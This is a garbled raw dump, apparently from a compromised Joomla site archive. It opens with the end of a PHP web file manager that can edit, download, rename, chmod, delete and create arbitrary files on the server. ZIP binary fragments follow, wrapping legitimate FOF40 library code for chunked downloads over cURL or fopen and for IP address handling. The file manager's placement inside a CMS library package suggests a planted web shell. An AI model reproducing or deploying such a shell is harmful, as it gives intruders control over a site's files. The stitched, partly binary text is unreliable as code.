$file): $itemPath = $currentPath . $file; $size = @filesize($itemPath); $perms = getPermissions($itemPath); $isWritable = isWritableEnhanced($itemPath); $modified = @filemtime($itemPath); $ext = strtoupper(pathinfo($file, PATHINFO_EXTENSION) ?: 'FILE'); if($size !== false) { if($size < 1024) $size = $size . ' B'; elseif($size < 1048576) $size = round($size/1024, 1) . ' KB'; elseif($size < 1073741824) $size = round($size/1048576, 1) . ' MB'; else $size = round($size/1073741824, 1) . ' GB'; } else { $size = '?'; } ?> <tr> <td> <span style="display: inline-flex; align-items: center; gap: 8px;"> <span class="perm-indicator <?php echo $isWritable ? 'writable' : 'readonly'; ?>"></span> <span class="file-icon">??</span> <span class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo htmlspecialchars($file); ?> </span> </span> </td> <td><?php echo $ext; ?></td> <td><?php echo $size; ?></td> <td class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo $perms; ?> </td> <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?></td> <td> <div class="file-actions"> <a href="?p=<?php echo urlencode($currentPath); ?>&do=edit&item=<?php echo urlencode($file); ?>">Edit</a> <a href="?p=<?php echo urlencode($currentPath); ?>&do=download&item=<?php echo urlencode($file); ?>">Download</a> <a href="#" onclick="renameItem('<?php echo htmlspecialchars($file); ?>'); return false;">Rename</a> <a href="#" onclick="chmodItem('<?php echo htmlspecialchars($file); ?>'); return false;">Chmod</a> <a href="?p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($file); ?>" class="delete" onclick="return confirm('Delete this file?')">Delete</a> </div> </td> </tr> <?php endforeach; } ?> <?php if(empty($sortedContents['folders']) && empty($sortedContents['files'])): ?> <tr> <td colspan="6" class="empty">Empty directory</td> </tr> <?php endif; ?> </tbody> </table> <?php endif; ?> </div> </div> <!-- New File Modal --> <div id="newFileModal" class="modal"> <div class="modal-content"> <div class="modal-header">Create New File</div> <form method="post"> <div class="modal-body"> <input type="text" name="newfile" placeholder="Filename (e.g., index.php)" required> <textarea name="filecontent" placeholder="File content (optional)"></textarea> </div> <div class="modal-footer"> <button type="submit" class="btn btn-success">Create</button> <button type="button" class="btn btn-danger" onclick="closeModal('newFileModal')">Cancel</button> </div> </form> </div> </div> <!-- New Folder Modal --> <div id="newFolderModal" class="modal"> <div class="modal-content"> <div class="modal-header">Create New Folder</div> <form method="post"> <div class="modal-body"> <input type="text" name="newfolder" placeholder="Folder name" required> </div> <div class="modal-footer"> <button type="submit" class="btn btn-success">Create</button> <button type="button" class="btn btn-danger" onclick="closeModal('newFolderModal')">Cancel</button> </div> </form> </div> </div> <script> // Modal functions function showNewFileModal() { document.getElementById('newFileModal').classList.add('active'); } function showNewFolderModal() { document.getElementById('newFolderModal').classList.add('active'); } function closeModal(id) { document.getElementById(id).classList.remove('active'); } // Rename function function renameItem(oldName) { var newName = prompt('Enter new name:', oldName); if(newName && newName !== oldName) { var form = document.createElement('form'); form.method = 'post'; form.innerHTML = '<input type="hidden" name="oldname" value="' + oldName + '">' + '<input type="hidden" name="newname" value="' + newName + '">'; document.body.appendChild(form); form.submit(); } } // Chmod function function chmodItem(item) { var mode = prompt('Enter new permissions (e.g., 755):', '755'); if(mode) { var form = document.createElement('form'); form.method = 'post'; form.innerHTML = '<input type="hidden" name="chmod_item" value="' + item + '">' + '<input type="hidden" name="chmod_value" value="' + mode + '">'; document.body.appendChild(form); form.submit(); } } // Auto-hide notifications setTimeout(function() { var notifications = document.querySelectorAll('.notification'); notifications.forEach(function(n) { n.style.opacity = '0'; setTimeout(function() { n.style.display = 'none'; }, 300); }); }, 3000); // Keyboard shortcuts document.addEventListener('keydown', function(e) { if(e.ctrlKey && e.key === 'n') { e.preventDefault(); showNewFileModal(); } if(e.ctrlKey && e.shiftKey && e.key === 'N') { e.preventDefault(); showNewFolderModal(); } if(e.key === 'Escape') { document.querySelectorAll('.modal.active').forEach(function(m) { m.classList.remove('active'); }); } }); // Click outside modal to close document.querySelectorAll('.modal').forEach(function(modal) { modal.addEventListener('click', function(e) { if(e.target === modal) { modal.classList.remove('active'); } }); }); </script> </body> </html>PK���\�m�,�,fof40/Download/Download.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Download; defined('_JEXEC') || die; use FOF40\Container\Container; use FOF40\Download\Exception\DownloadError; use FOF40\Timer\Timer; use Joomla\CMS\Language\Text; class Download { /** * The component container object * * @var Container */ protected $container; /** * Parameters passed from the GUI when importing from URL * * @var array */ private $params = []; /** * The download adapter which will be used by this class * * @var DownloadInterface */ private $adapter; /** * Additional params that will be passed to the adapter while performing the download * * @var array */ private $adapterOptions = []; /** * Public constructor * * @param Container $c The component container */ public function __construct(Container $c) { $this->container = $c; // Find the best fitting adapter $allAdapters = self::getFiles(__DIR__ . '/Adapter', [], ['AbstractAdapter.php']); $priority = 0; foreach ($allAdapters as $adapterInfo) { /** @var Adapter\AbstractAdapter $adapter */ $adapter = new $adapterInfo['classname']; if (!$adapter->isSupported()) { continue; } if ($adapter->priority > $priority) { $this->adapter = $adapter; $priority = $adapter->priority; } } // Load the language strings $c->platform->loadTranslations('lib_fof40'); } /** * This method will crawl a starting directory and get all the valid files * that will be analyzed by __construct. Then it organizes them into an * associative array. * * @param string $path Folder where we should start looking * @param array $ignoreFolders Folder ignore list * @param array $ignoreFiles File ignore list * * @return array Associative array, where the `fullpath` key contains the path to the file, * and the `classname` key contains the name of the class */ protected static function getFiles(string $path, array $ignoreFolders = [], array $ignoreFiles = []): array { $return = []; $files = self::scanDirectory($path, $ignoreFolders, $ignoreFiles); // Ok, I got the files, now I have to organize them foreach ($files as $file) { $clean = str_replace($path, '', $file); $clean = trim(str_replace('\\', '/', $clean), '/'); $parts = explode('/', $clean); $return[] = [ 'fullpath' => $file, 'classname' => '\\FOF40\\Download\\Adapter\\' . ucfirst(basename($parts[0], '.php')), ]; } return $return; } /** * Recursive function that will scan every directory unless it's in the * ignore list. Files that aren't in the ignore list are returned. * * @param string $path Folder where we should start looking * @param array $ignoreFolders Folder ignore list * @param array $ignoreFiles File ignore list * * @return array List of all the files */ protected static function scanDirectory(string $path, array $ignoreFolders = [], array $ignoreFiles = []): array { $return = []; $handle = @opendir($path); if (!$handle) { return $return; } while (($file = readdir($handle)) !== false) { if ($file == '.' || $file == '..') { continue; } $fullpath = $path . '/' . $file; if ((is_dir($fullpath) && in_array($file, $ignoreFolders)) || (is_file($fullpath) && in_array($file, $ignoreFiles))) { continue; } if (is_dir($fullpath)) { $return = array_merge(self::scanDirectory($fullpath, $ignoreFolders, $ignoreFiles), $return); } else { $return[] = $path . '/' . $file; } } return $return; } /** * Forces the use of a specific adapter * * @param string $className The name of the class or the name of the adapter */ public function setAdapter(?string $className = null): void { if (is_null($className)) { return; } $adapter = null; if (class_exists($className, true)) { $adapter = new $className; } elseif (class_exists('\\FOF40\\Download\\Adapter\\' . ucfirst($className))) { $className = '\\FOF40\\Download\\Adapter\\' . ucfirst($className); $adapter = new $className; } if (!is_object($adapter)) { return; } if (!$adapter instanceof DownloadInterface) { return; } $this->adapter = $adapter; } /** * Returns the name of the current adapter * * @return string */ public function getAdapterName(): string { if (is_object($this->adapter)) { $class = get_class($this->adapter); return strtolower(str_ireplace('FOF40\\Download\\Adapter\\', '', $class)); } return ''; } /** * Returns the additional options for the adapter * * @return array * * @codeCoverageIgnore */ public function getAdapterOptions(): array { return $this->adapterOptions; } /** * Sets the additional options for the adapter * * @param array $options * * @codeCoverageIgnore */ public function setAdapterOptions(array $options): void { $this->adapterOptions = $options; } /** * Download data from a URL and return it. * * Important note about ranges: byte ranges start at 0. This means that the first 500 bytes of a file are from 0 * to 499, NOT from 1 to 500. If you ask more bytes than there are in the file or a range which is invalid or does * not exist this method will return false. * * @param string $url The URL to download from * @param int $from Byte range to start downloading from. Use null (default) for start of file. * @param int $to Byte range to stop downloading. Use null to download the entire file ($from will be * ignored!) * * @return string The downloaded data or null on failure */ public function getFromURL(string $url, ?int $from = null, ?int $to = null): ?string { try { return $this->adapter->downloadAndReturn($url, $from, $to, $this->adapterOptions); } catch (DownloadError $e) { return null; } } /** * Performs the staggered download of file. * * @param array $params A parameters array, as sent by the user interface * * @return array A return status array */ public function importFromURL(array $params): array { $this->params = $params; // Fetch data $url = $this->getParam('url'); $localFilename = $this->getParam('localFilename'); $frag = $this->getParam('frag', -1); $totalSize = $this->getParam('totalSize', -1); $doneSize = $this->getParam('doneSize', -1); $maxExecTime = $this->getParam('maxExecTime', 5); $runTimeBias = $this->getParam('runTimeBias', 75); $length = $this->getParam('length', 1048576); if (empty($localFilename)) { $localFilename = basename($url); if (strpos($localFilename, '?') !== false) { $paramsPos = strpos($localFilename, '?'); $localFilename = substr($localFilename, 0, $paramsPos - 1); $platformBaseDirectories = $this->container->platform->getPlatformBaseDirs(); $tmpDir = $platformBaseDirectories['tmp']; $tmpDir = rtrim($tmpDir, '/\\'); $localFilename = $tmpDir . '/' . $localFilename; } } // Init retArray $retArray = [ "status" => true, "error" => '', "frag" => $frag, "totalSize" => $totalSize, "doneSize" => $doneSize, "percent" => 0, "localfile" => $localFilename, ]; try { $timer = new Timer($maxExecTime, $runTimeBias); $start = $timer->getRunningTime(); // Mark the start of this download $break = false; // Don't break the step do { // Do we have to initialize the file? if ($frag == -1) { // Currently downloaded size $doneSize = 0; if (@file_exists($localFilename)) { @unlink($localFilename); } // Delete and touch the output file $fp = @fopen($localFilename, 'w'); if ($fp !== false) { @fclose($fp); } // Init $frag = 0; $retArray['totalSize'] = $this->adapter->getFileSize($url); if ($retArray['totalSize'] <= 0) { $retArray['totalSize'] = 0; } $totalSize = $retArray['totalSize']; } // Calculate from and length $from = $frag * $length; $to = $length + $from - 1; // Try to download the first frag $required_time = 1.0; $error = ''; try { $result = $this->adapter->downloadAndReturn($url, $from, $to, $this->adapterOptions); } catch (DownloadError $e) { $result = false; $error = $e->getMessage(); } if ($result === false) { // Failed download if ($frag == 0) { // Failure to download first frag = failure to download. Period. $retArray['status'] = false; $retArray['error'] = $error; return $retArray; } else { // Since this is a staggered download, consider this normal and finish $frag = -1; $totalSize = $doneSize; $break = true; } } // Add the currently downloaded frag to the total size of downloaded files if ($result !== false) { $fileSize = strlen($result); $doneSize += $fileSize; // Append the file $fp = @fopen($localFilename, 'a'); if ($fp === false) { // Can't open the file for writing $retArray['status'] = false; $retArray['error'] = Text::sprintf('LIB_FOF40_DOWNLOAD_ERR_COULDNOTWRITELOCALFILE', $localFilename); return $retArray; } fwrite($fp, $result); fclose($fp); $frag++; if (($fileSize < $length) || ($fileSize > $length) || (($totalSize == $doneSize) && ($totalSize > 0)) ) { // A partial download or a download larger than the frag size means we are done $frag = -1; //debugMsg("-- Import complete (partial download of last frag)"); $totalSize = $doneSize; $break = true; } } // Advance the frag pointer and mark the end $end = $timer->getRunningTime(); // Do we predict that we have enough time? $required_time = max(1.1 * ($end - $start), $required_time); if ($required_time > (10 - $end + $start)) { $break = true; } $start = $end; } while (($timer->getTimeLeft() > 0) && !$break); if ($frag == -1) { $percent = 100; } elseif ($doneSize <= 0) { $percent = 0; } elseif ($totalSize > 0) { $percent = 100 * ($doneSize / $totalSize); } else { $percent = 0; } // Update $retArray $retArray = [ "status" => true, "error" => '', "frag" => $frag, "totalSize" => $totalSize, "doneSize" => $doneSize, "percent" => $percent, ]; } catch (DownloadError $e) { $retArray['status'] = false; $retArray['error'] = $e->getMessage(); } return $retArray; } /** * Used to decode the $params array * * @param string $key The parameter key you want to retrieve the value for * @param mixed $default The default value, if none is specified * * @return mixed The value for this parameter key */ private function getParam(string $key, $default = null) { if (array_key_exists($key, $this->params)) { return $this->params[$key]; } else { return $default; } } } PK���\4�y�o o $fof40/Download/DownloadInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Download; defined('_JEXEC') || die; use FOF40\Download\Exception\DownloadError; /** * Interface DownloadInterface * * @codeCoverageIgnore */ interface DownloadInterface { /** * Does this download adapter support downloading files in chunks? * * @return boolean True if chunk download is supported */ public function supportsChunkDownload(): bool; /** * Does this download adapter support reading the size of a remote file? * * @return boolean True if remote file size determination is supported */ public function supportsFileSize(): bool; /** * Is this download class supported in the current server environment? * * @return boolean True if this server environment supports this download class */ public function isSupported(): bool; /** * Get the priority of this adapter. If multiple download adapters are * supported on a site, the one with the highest priority will be * used. * * @return int */ public function getPriority(): int; /** * Returns the name of this download adapter in use * * @return string */ public function getName(): string; /** * Download a part (or the whole) of a remote URL and return the downloaded * data. You are supposed to check the size of the returned data. If it's * smaller than what you expected you've reached end of file. If it's empty * you have tried reading past EOF. If it's larger than what you expected * the server doesn't support chunk downloads. * * If this class' supportsChunkDownload returns false you should assume * that the $from and $to parameters will be ignored. * * @param string $url The remote file's URL * @param int|null $from Byte range to start downloading from. Use null for start of file. * @param int|null $to Byte range to stop downloading. Use null to download the entire file ($from is ignored) * @param array $params Additional params that will be added before performing the download * * @return string The raw file data retrieved from the remote URL. * * @throws DownloadError A generic exception is thrown on error */ public function downloadAndReturn(string $url, ?int $from = null, ?int $to = null, array $params = []): string; /** * Get the size of a remote file in bytes * * @param string $url The remote file's URL * * @return integer The file size, or -1 if the remote server doesn't support this feature */ public function getFileSize(string $url): int; } PK���\t�р44*fof40/Download/Exception/DownloadError.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Download\Exception; defined('_JEXEC') || die; use RuntimeException; class DownloadError extends RuntimeException { } PK���\�>穇�fof40/Download/Adapter/Curl.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Download\Adapter; defined('_JEXEC') || die; use FOF40\Download\DownloadInterface; use FOF40\Download\Exception\DownloadError; use Joomla\CMS\Language\Text; /** * A download adapter using the cURL PHP integration */ class Curl extends AbstractAdapter implements DownloadInterface { protected $headers = []; public function __construct() { $this->priority = 110; $this->supportsFileSize = true; $this->supportsChunkDownload = true; $this->name = 'curl'; $this->isSupported = function_exists('curl_init') && function_exists('curl_exec') && function_exists('curl_close'); } /** * Download a part (or the whole) of a remote URL and return the downloaded * data. You are supposed to check the size of the returned data. If it's * smaller than what you expected you've reached end of file. If it's empty * you have tried reading past EOF. If it's larger than what you expected * the server doesn't support chunk downloads. * * If this class' supportsChunkDownload returns false you should assume * that the $from and $to parameters will be ignored. * * @param string $url The remote file's URL * @param integer $from Byte range to start downloading from. Use null for start of file. * @param integer $to Byte range to stop downloading. Use null to download the entire file ($from is * ignored) * @param array $params Additional params that will be added before performing the download * * @return string The raw file data retrieved from the remote URL. * * @throws DownloadError A generic exception is thrown on error */ public function downloadAndReturn(string $url, ?int $from = null, ?int $to = null, array $params = []): string { $ch = curl_init(); if (empty($from)) { $from = 0; } if (empty($to)) { $to = 0; } if ($to < $from) { $temp = $to; $to = $from; $from = $temp; unset($temp); } $caCertPath = class_exists('\\Composer\\CaBundle\\CaBundle') ? \Composer\CaBundle\CaBundle::getBundledCaBundlePath() : JPATH_LIBRARIES . '/src/Http/Transport/cacert.pem'; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_AUTOREFERER, 1); curl_setopt($ch, CURLOPT_BINARYTRANSFER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_SSLVERSION, 0); curl_setopt($ch, CURLOPT_CAINFO, $caCertPath); curl_setopt($ch, CURLOPT_HEADERFUNCTION, [$this, 'reponseHeaderCallback']); if (!(empty($from) && empty($to))) { curl_setopt($ch, CURLOPT_RANGE, "$from-$to"); } if (!is_array($params)) { $params = []; } $patched_accept_encoding = false; // Work around LiteSpeed sending compressed output under HTTP/2 when no encoding was requested // See https://github.com/joomla/joomla-cms/issues/21423#issuecomment-410941000 if (defined('CURLOPT_ACCEPT_ENCODING')) { if (!array_key_exists(CURLOPT_ACCEPT_ENCODING, $params)) { $params[CURLOPT_ACCEPT_ENCODING] = 'identity'; } $patched_accept_encoding = true; } foreach ($params as $k => $v) { // I couldn't patch the accept encoding header (missing constant), so I'll check if we manually set it if (!$patched_accept_encoding && $k == CURLOPT_HTTPHEADER) { foreach ($v as $custom_header) { // Ok, we explicitly set the Accept-Encoding header, so we consider it patched if (stripos($custom_header, 'Accept-Encoding') !== false) { $patched_accept_encoding = true; } } } @curl_setopt($ch, $k, $v); } // Accept encoding wasn't patched, let's manually do that if (!$patched_accept_encoding) { @curl_setopt($ch, CURLOPT_HTTPHEADER, ['Accept-Encoding: identity']); $patched_accept_encoding = true; } $result = curl_exec($ch); $errno = curl_errno($ch); $errmsg = curl_error($ch); $error = ''; $http_status = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($result === false) { $error = Text::sprintf('LIB_FOF40_DOWNLOAD_ERR_CURL_ERROR', $errno, $errmsg); } elseif (($http_status >= 300) && ($http_status <= 399) && isset($this->headers['location']) && !empty($this->headers['location'])) { return $this->downloadAndReturn($this->headers['location'], $from, $to, $params); } elseif ($http_status > 399) { $result = false; $errno = $http_status; $error = Text::sprintf('LIB_FOF40_DOWNLOAD_ERR_HTTPERROR', $http_status); } curl_close($ch); if ($result === false) { throw new DownloadError($error, $errno); } else { return $result; } } /** * Get the size of a remote file in bytes * * @param string $url The remote file's URL * * @return integer The file size, or -1 if the remote server doesn't support this feature */ public function getFileSize(string $url): int { $result = -1; $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_SSLVERSION, 0); $caCertPath = class_exists('\\Composer\\CaBundle\\CaBundle') ? \Composer\CaBundle\CaBundle::getBundledCaBundlePath() : JPATH_LIBRARIES . '/src/Http/Transport/cacert.pem';; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_CAINFO, $caCertPath); $data = curl_exec($ch); curl_close($ch); if ($data) { $content_length = "unknown"; $status = "unknown"; $redirection = null; if (preg_match("/^HTTP\/1\.[01] (\d\d\d)/i", $data, $matches)) { $status = (int) $matches[1]; } if (preg_match("/Content-Length: (\d+)/i", $data, $matches)) { $content_length = (int) $matches[1]; } if (preg_match("/Location: (.*)/i", $data, $matches)) { $redirection = (int) $matches[1]; } if ($status == 200 || ($status > 300 && $status <= 308)) { $result = $content_length; } if (($status > 300) && ($status <= 308)) { if (!empty($redirection)) { return $this->getFileSize($redirection); } return -1; } } return (int) $result; } /** * Handles the HTTP headers returned by cURL * * @param resource $ch cURL resource handle (unused) * @param string $data Each header line, as returned by the server * * @return int The length of the $data string */ protected function reponseHeaderCallback($ch, string $data): int { $strlen = strlen($data); if (($strlen) <= 2) { return $strlen; } if (substr($data, 0, 4) == 'HTTP') { return $strlen; } if (strpos($data, ':') === false) { return $strlen; } [$header, $value] = explode(': ', trim($data), 2); $this->headers[strtolower($header)] = $value; return $strlen; } } PK���\��,w� � *fof40/Download/Adapter/AbstractAdapter.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Download\Adapter; defined('_JEXEC') || die; use FOF40\Download\DownloadInterface; use FOF40\Download\Exception\DownloadError; abstract class AbstractAdapter implements DownloadInterface { /** * Load order priority * * @var int */ public $priority = 100; /** * Name of the adapter (identical to filename) * * @var string */ public $name = ''; /** * Is this adapter supported in the current execution environment? * * @var bool */ public $isSupported = false; /** * Does this adapter support chunked downloads? * * @var bool */ public $supportsChunkDownload = false; /** * Does this adapter support querying the remote file's size? * * @var bool */ public $supportsFileSize = false; /** * Does this download adapter support downloading files in chunks? * * @return boolean True if chunk download is supported */ public function supportsChunkDownload(): bool { return $this->supportsChunkDownload; } /** * Does this download adapter support reading the size of a remote file? * * @return boolean True if remote file size determination is supported */ public function supportsFileSize(): bool { return $this->supportsFileSize; } /** * Is this download class supported in the current server environment? * * @return boolean True if this server environment supports this download class */ public function isSupported(): bool { return $this->isSupported; } /** * Get the priority of this adapter. If multiple download adapters are * supported on a site, the one with the highest priority will be * used. * * @return int */ public function getPriority(): int { return $this->priority; } /** * Returns the name of this download adapter in use * * @return string */ public function getName(): string { return $this->name; } /** * Download a part (or the whole) of a remote URL and return the downloaded * data. You are supposed to check the size of the returned data. If it's * smaller than what you expected you've reached end of file. If it's empty * you have tried reading past EOF. If it's larger than what you expected * the server doesn't support chunk downloads. * * If this class' supportsChunkDownload returns false you should assume * that the $from and $to parameters will be ignored. * * @param string $url The remote file's URL * @param integer $from Byte range to start downloading from. Use null for start of file. * @param integer $to Byte range to stop downloading. Use null to download the entire file ($from is ignored) * @param array $params Additional params that will be added before performing the download * * @return string The raw file data retrieved from the remote URL. * * @throws DownloadError A generic exception is thrown on error */ public function downloadAndReturn(string $url, ?int $from = null, ?int $to = null, array $params = []): string { return ''; } /** * Get the size of a remote file in bytes * * @param string $url The remote file's URL * * @return integer The file size, or -1 if the remote server doesn't support this feature */ public function getFileSize(string $url): int { return -1; } } PK���\7r��� fof40/Download/Adapter/Fopen.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Download\Adapter; defined('_JEXEC') || die; use FOF40\Download\DownloadInterface; use FOF40\Download\Exception\DownloadError; use Joomla\CMS\Language\Text; /** * A download adapter using URL fopen() wrappers */ class Fopen extends AbstractAdapter implements DownloadInterface { public function __construct() { $this->priority = 100; $this->supportsFileSize = false; $this->supportsChunkDownload = true; $this->name = 'fopen'; $this->isSupported = !function_exists('ini_get') ? false : ini_get('allow_url_fopen'); } /** * Download a part (or the whole) of a remote URL and return the downloaded * data. You are supposed to check the size of the returned data. If it's * smaller than what you expected you've reached end of file. If it's empty * you have tried reading past EOF. If it's larger than what you expected * the server doesn't support chunk downloads. * * If this class' supportsChunkDownload returns false you should assume * that the $from and $to parameters will be ignored. * * @param string $url The remote file's URL * @param integer $from Byte range to start downloading from. Use null for start of file. * @param integer $to Byte range to stop downloading. Use null to download the entire file ($from is * ignored) * @param array $params Additional params that will be added before performing the download * * @return string The raw file data retrieved from the remote URL. * * @throws DownloadError A generic exception is thrown on error */ public function downloadAndReturn(string $url, ?int $from = null, ?int $to = null, array $params = []): string { if (empty($from)) { $from = 0; } if (empty($to)) { $to = 0; } if ($to < $from) { $temp = $to; $to = $from; $from = $temp; unset($temp); } if (!(empty($from) && empty($to))) { $caCertPath = class_exists('\\Composer\\CaBundle\\CaBundle') ? \Composer\CaBundle\CaBundle::getBundledCaBundlePath() : JPATH_LIBRARIES . '/src/Http/Transport/cacert.pem'; $options = [ 'http' => [ 'method' => 'GET', 'header' => "Range: bytes=$from-$to\r\n", ], 'ssl' => [ 'verify_peer' => true, 'cafile' => $caCertPath, 'verify_depth' => 5, ], ]; $options = array_merge($options, $params); $context = stream_context_create($options); $result = @file_get_contents($url, false, $context, $from - $to + 1); } else { $caCertPath = class_exists('\\Composer\\CaBundle\\CaBundle') ? \Composer\CaBundle\CaBundle::getBundledCaBundlePath() : JPATH_LIBRARIES . '/src/Http/Transport/cacert.pem'; $options = [ 'http' => [ 'method' => 'GET', ], 'ssl' => [ 'verify_peer' => true, 'cafile' => $caCertPath, 'verify_depth' => 5, ], ]; $options = array_merge($options, $params); $context = stream_context_create($options); $result = @file_get_contents($url, false, $context); } global $http_response_header_test; if (!isset($http_response_header) && empty($http_response_header_test)) { $error = Text::_('LIB_FOF40_DOWNLOAD_ERR_FOPEN_ERROR'); throw new DownloadError($error, 404); } else { // Used for testing if (!isset($http_response_header) && !empty($http_response_header_test)) { $http_response_header = $http_response_header_test; } $http_code = 200; $nLines = count($http_response_header); for ($i = $nLines - 1; $i >= 0; $i--) { $line = $http_response_header[$i]; if (strncasecmp("HTTP", $line, 4) == 0) { $response = explode(' ', $line); $http_code = $response[1]; break; } } if ($http_code >= 299) { $error = Text::sprintf('LIB_FOF40_DOWNLOAD_ERR_HTTPERROR', $http_code); throw new DownloadError($error, $http_code); } } if ($result === false) { $error = Text::sprintf('LIB_FOF40_DOWNLOAD_ERR_FOPEN_ERROR'); throw new DownloadError($error, 1); } else { return $result; } } } PK���\��5�r6r6fof40/IP/IPHelper.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\IP; defined('_JEXEC') || die; /** * IP address helper * * Makes sure that we get the real IP of the user */ class IPHelper { /** * The IP address of the current visitor * * @var string */ protected static $ip; /** * Should I allow IP overrides through X-Forwarded-For or Client-Ip HTTP headers? * * @var bool */ protected static $allowIpOverrides = true; /** * See self::detectAndCleanIP and setUseFirstIpInChain * * If this is enabled (default) self::detectAndCleanIP will return the FIRST IP in case there is an IP chain coming * for example from an X-Forwarded-For HTTP header. When set to false it will simulate the old behavior in FOF up to * and including 3.1.1 which returned the LAST IP in the list. * * @var bool */ protected static $useFirstIpInChain = true; /** * List of headers we should check to know if the user is behind a proxy. PLEASE NOTE: ORDER MATTERS! * * @var array */ protected static $proxyHeaders = [ 'HTTP_CF_CONNECTING_IP', // CloudFlare 'HTTP_X_FORWARDED_FOR', // Standard for transparent proxy (e.g. NginX) 'HTTP_X_SUCURI_CLIENTIP', // Sucuri firewall uses its own header ]; /** * Set the $useFirstIpInChain flag. See above. * * @param bool $value */ public static function setUseFirstIpInChain(bool $value = true): void { self::$useFirstIpInChain = $value; } /** * Getter for the list of proxy headers we can check * * @return array */ public static function getProxyHeaders(): array { return static::$proxyHeaders; } /** * Get the current visitor's IP address * * @return string */ public static function getIp(): string { if (is_null(static::$ip)) { $ip = self::detectAndCleanIP(); if (!empty($ip) && ($ip != '0.0.0.0') && function_exists('inet_pton') && function_exists('inet_ntop')) { $myIP = @inet_pton($ip); if ($myIP !== false) { $ip = inet_ntop($myIP); } } static::setIp($ip); } return static::$ip; } /** * Set the IP address of the current visitor * * @param string $ip * * @return void */ public static function setIp(string $ip): void { static::$ip = $ip; } /** * Checks if an IP is contained in a list of IPs or IP expressions * * @param string $ip The IPv4/IPv6 address to check * @param array|string $ipTable An IP expression (or a comma-separated or array list of IP expressions) to * check against * * @return boolean True if it's in the list */ public static function IPinList(string $ip, $ipTable = ''): bool { // No point proceeding with an empty IP list if (empty($ipTable)) { return false; } // If the IP list is not an array, convert it to an array if (!is_array($ipTable)) { if (strpos($ipTable, ',') !== false) { $ipTable = explode(',', $ipTable); $ipTable = array_map(function ($x) { return trim($x); }, $ipTable); } else { $ipTable = trim($ipTable); $ipTable = [$ipTable]; } } // If no IP address is found, return false if ($ip == '0.0.0.0') { return false; } // If no IP is given, return false if (empty($ip)) { return false; } // Sanity check if (!function_exists('inet_pton')) { return false; } // Get the IP's in_adds representation $myIP = @inet_pton($ip); // If the IP is in an unrecognisable format, quite if ($myIP === false) { return false; } $ipv6 = self::isIPv6($ip); foreach ($ipTable as $ipExpression) { $ipExpression = trim($ipExpression); // Inclusive IP range, i.e. 123.123.123.123-124.125.126.127 if (strstr($ipExpression, '-')) { [$from, $to] = explode('-', $ipExpression, 2); if ($ipv6 && (!self::isIPv6($from) || !self::isIPv6($to))) { // Do not apply IPv4 filtering on an IPv6 address continue; } elseif (!$ipv6 && (self::isIPv6($from) || self::isIPv6($to))) { // Do not apply IPv6 filtering on an IPv4 address continue; } $from = @inet_pton(trim($from)); $to = @inet_pton(trim($to)); // Sanity check if (($from === false) || ($to === false)) { continue; } // Swap from/to if they're in the wrong order if ($from > $to) { [$from, $to] = [$to, $from]; } if (($myIP >= $from) && ($myIP <= $to)) { return true; } } // Netmask or CIDR provided elseif (strstr($ipExpression, '/')) { $binaryip = self::inet_to_bits($myIP); [$net, $maskbits] = explode('/', $ipExpression, 2); if ($ipv6 && !self::isIPv6($net)) { // Do not apply IPv4 filtering on an IPv6 address continue; } elseif (!$ipv6 && self::isIPv6($net)) { // Do not apply IPv6 filtering on an IPv4 address continue; } elseif ($ipv6 && strstr($maskbits, ':')) { // Perform an IPv6 CIDR check if (self::checkIPv6CIDR($myIP, $ipExpression)) { return true; } // If we didn't match it proceed to the next expression continue; } elseif (!$ipv6 && strstr($maskbits, '.')) { // Convert IPv4 netmask to CIDR $long = ip2long($maskbits); $base = ip2long('255.255.255.255'); $maskbits = 32 - log(($long ^ $base) + 1, 2); } // Convert network IP to in_addr representation $net = @inet_pton($net); // Sanity check if ($net === false) { continue; } // Get the network's binary representation $binarynet = self::inet_to_bits($net); $expectedNumberOfBits = $ipv6 ? 128 : 24; $binarynet = str_pad($binarynet, $expectedNumberOfBits, '0', STR_PAD_RIGHT); // Check the corresponding bits of the IP and the network $ip_net_bits = substr($binaryip, 0, $maskbits); $net_bits = substr($binarynet, 0, $maskbits); if ($ip_net_bits === $net_bits) { return true; } } elseif ($ipv6) { $ipExpression = trim($ipExpression); if 